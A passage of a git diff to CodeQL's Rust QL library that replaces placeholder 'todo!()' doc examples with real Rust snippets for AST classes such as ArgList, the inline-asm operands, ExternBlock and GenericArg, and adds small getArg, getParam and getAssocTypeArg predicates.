b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll index af47a245980..f5fd9a066a7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArgList */ module Impl { /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ class ArgList extends Generated::ArgList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll index f7cf66626a0..cb72de9b87e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ArrayTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ArrayTypeRepr */ module Impl { /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ class ArrayTypeRepr extends Generated::ArrayTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll index 155676828e8..aa8a49e0fa2 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmClobberAbiImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmClobberAbi * be referenced directly. */ module Impl { + /** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmClobberAbi extends Generated::AsmClobberAbi { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll index 95d11f936d7..2c66fc52a3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmConstImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmConst * be referenced directly. */ module Impl { + /** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ class AsmConst extends Generated::AsmConst { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll index 10b04b298d4..d9c284eca28 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmDirSpecImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmDirSpec * be referenced directly. */ module Impl { + /** + * An inline assembly direction specifier. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ + * ``` + */ class AsmDirSpec extends Generated::AsmDirSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll index 24160ec3386..338f4772a53 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmExprImpl.qll @@ -16,7 +16,8 @@ module Impl { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll index 6f393f9ed48..ee89b6cb27d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmLabelImpl.qll @@ -12,5 +12,18 @@ private import codeql.rust.elements.internal.generated.AsmLabel * be referenced directly. */ module Impl { + /** + * A label in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); + * ``` + */ class AsmLabel extends Generated::AsmLabel { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll index ebf9a7ae2ed..ee0db41767a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandExprImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOperandExpr * be referenced directly. */ module Impl { + /** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmOperandExpr extends Generated::AsmOperandExpr { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll index c9903d90804..dd45bcc05a9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOperandNamedImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOperandNamed * be referenced directly. */ module Impl { + /** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOperandNamed extends Generated::AsmOperandNamed { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll index 4f0ea60c798..60d56d22581 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOption * be referenced directly. */ module Impl { + /** + * An option in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOption extends Generated::AsmOption { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll index 112ead5d0b2..ca8e80f82ec 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmOptionsListImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmOptionsList * be referenced directly. */ module Impl { + /** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ class AsmOptionsList extends Generated::AsmOptionsList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll index 2641e12598c..d3d6b24c15a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegOperandImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmRegOperand * be referenced directly. */ module Impl { + /** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ class AsmRegOperand extends Generated::AsmRegOperand { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll index 83b269eead6..24798bae93c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmRegSpecImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmRegSpec * be referenced directly. */ module Impl { + /** + * A register specification in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ + * ``` + */ class AsmRegSpec extends Generated::AsmRegSpec { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll index 9b26627dae9..ad118f38d1c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AsmSymImpl.qll @@ -12,5 +12,15 @@ private import codeql.rust.elements.internal.generated.AsmSym * be referenced directly. */ module Impl { + /** + * A symbol operand in an inline assembly block. + * + * For example: + * ```rust + * use core::arch::asm; + * asm!("call {sym}", sym = sym my_function); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmSym extends Generated::AsmSym { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll index d4c871249b4..68e2945d377 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocItem */ module Impl { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends Generated::AssocItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 9cefb4cd2dd..f68c9e5fbe3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 075188ac0bd..fab477d4c3f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.AssocTypeArg */ module Impl { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll index afdac06f558..e01d3c3652e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Attr */ module Impl { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends Generated::Attr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll index c916b717bf6..b78720b08fa 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprBaseImpl.qll @@ -28,5 +28,7 @@ module Impl { class CallExprBase extends Generated::CallExprBase { /** Gets the static target of this call, if any. */ Callable getStaticTarget() { none() } // overridden by subclasses, but cannot be made abstract + + override Expr getArg(int index) { result = this.getArgList().getArg(index) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll index e9ec4339d1a..e5262014ab4 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallExprImpl.qll @@ -55,7 +55,7 @@ module Impl { pragma[nomagic] private PathResolution::ItemNode getResolvedFunctionAndPos(int pos) { result = getResolvedFunction(this) and - exists(this.getArgList().getArg(pos)) + exists(this.getArg(pos)) } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll index d604b4d239f..37e24a9150c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CallableImpl.qll @@ -1,4 +1,3 @@ -// generated by codegen, remove this comment if you wish to edit this file /** * This module provides a hand-modifiable wrapper around the generated class `Callable`. * @@ -12,8 +11,11 @@ private import codeql.rust.elements.internal.generated.Callable * be referenced directly. */ module Impl { + // the following QLdoc is generated: if you need to edit it, do it in the schema file /** * A callable. Either a `Function` or a `ClosureExpr`. */ - class Callable extends Generated::Callable { } + class Callable extends Generated::Callable { + override Param getParam(int index) { result = this.getParamList().getParam(index) } + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index e8493543898..095a5a269e0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.ClosureBinder */ module Impl { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll index c66296be9c4..7a5a78df17c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstArg */ module Impl { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends Generated::ConstArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll index b312e791d5e..d2f3cde2d03 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Const */ module Impl { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends Generated::Const { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll index 72fcf276947..e4ff7186254 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstParam */ module Impl { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends Generated::ConstParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll index 0e0337f20aa..eb0e3722e21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll @@ -15,6 +15,13 @@ module Impl { private import codeql.rust.elements.internal.NamedCrate private import codeql.rust.internal.PathResolution + // the following QLdoc is generated: if you need to edit it, do it in the schema file + /** + * A Crate. For example: + * ```rust + * todo!() + * ``` + */ class Crate extends Generated::Crate { override string toStringImpl() { result = strictconcat(int i | | this.toStringPart(i) order by i) diff --git a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll index c9e6bc7ea38..0ea1d4397f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.DynTraitTypeRepr */ module Impl { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends Generated::DynTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll index 39663b6a0e0..e57a416fa72 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll @@ -15,9 +15,11 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends Generated::Enum { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll index 0bd734b8835..bb60d9c6e66 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ExternBlock */ module Impl { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends Generated::ExternBlock { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll index 6c219b20d79..af9e4005b19 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ExternCrate */ module Impl { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends Generated::ExternCrate { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll index beabbf706ee..ac4f97d3071 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItem */ module Impl { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends Generated::ExternItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll index 255074a9bf9..f2281c5f6d8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItemList */ module Impl { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends Generated::ExternItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll index 1af239797c0..c10e5790229 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.FieldList */ module Impl { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends Generated::FieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll index 3710b4589d5..41d1151ac36 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.FnPtrTypeRepr */ module Impl { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends Generated::FnPtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll index b333702c941..2fe247e5e29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ForExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends Generated::ForExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 67db6fdcd02..f555c664963 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,9 +13,17 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll index 9d9e3561472..88f6a627140 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericArg */ module Impl { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends Generated::GenericArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll index eaba0f7ff6e..d459ab13dc6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgListImpl.qll @@ -26,6 +26,7 @@ module Impl { override string toAbbreviatedString() { result = "<...>" } /** Gets the `i`th type argument of this list. */ + pragma[nomagic] TypeRepr getTypeArg(int i) { result = rank[i + 1](TypeRepr res, int j | @@ -37,5 +38,15 @@ module Impl { /** Gets a type argument of this list. */ TypeRepr getATypeArg() { result = this.getTypeArg(_) } + + /** Gets the associated type argument with the given `name`, if any. */ + pragma[nomagic] + TypeRepr getAssocTypeArg(string name) { + exists(AssocTypeArg arg | + arg = this.getAGenericArg() and + result = arg.getTypeRepr() and + name = arg.getIdentifier().getText() + ) + } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll index 28027026ae8..1956046a8dd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericParam */ module Impl { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends Generated::GenericParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll index 7b23a2e854b..298e07f4b3e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Impl module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends Generated::Impl { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll index 74efa4f2190..6cbaa60da08 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ImplTraitTypeRepr */ module Impl { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends Generated::ImplTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll index 1df33c2c3cc..b06339e6bf6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.InferTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends Generated::InferTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll index 1a453671cbf..f211708bc81 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Item */ module Impl { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends Generated::Item { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll index 668bf039eb6..2d94e6340dd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ItemList */ module Impl { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends Generated::ItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll index 11643dcbcb4..9a36a8a2808 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll @@ -13,9 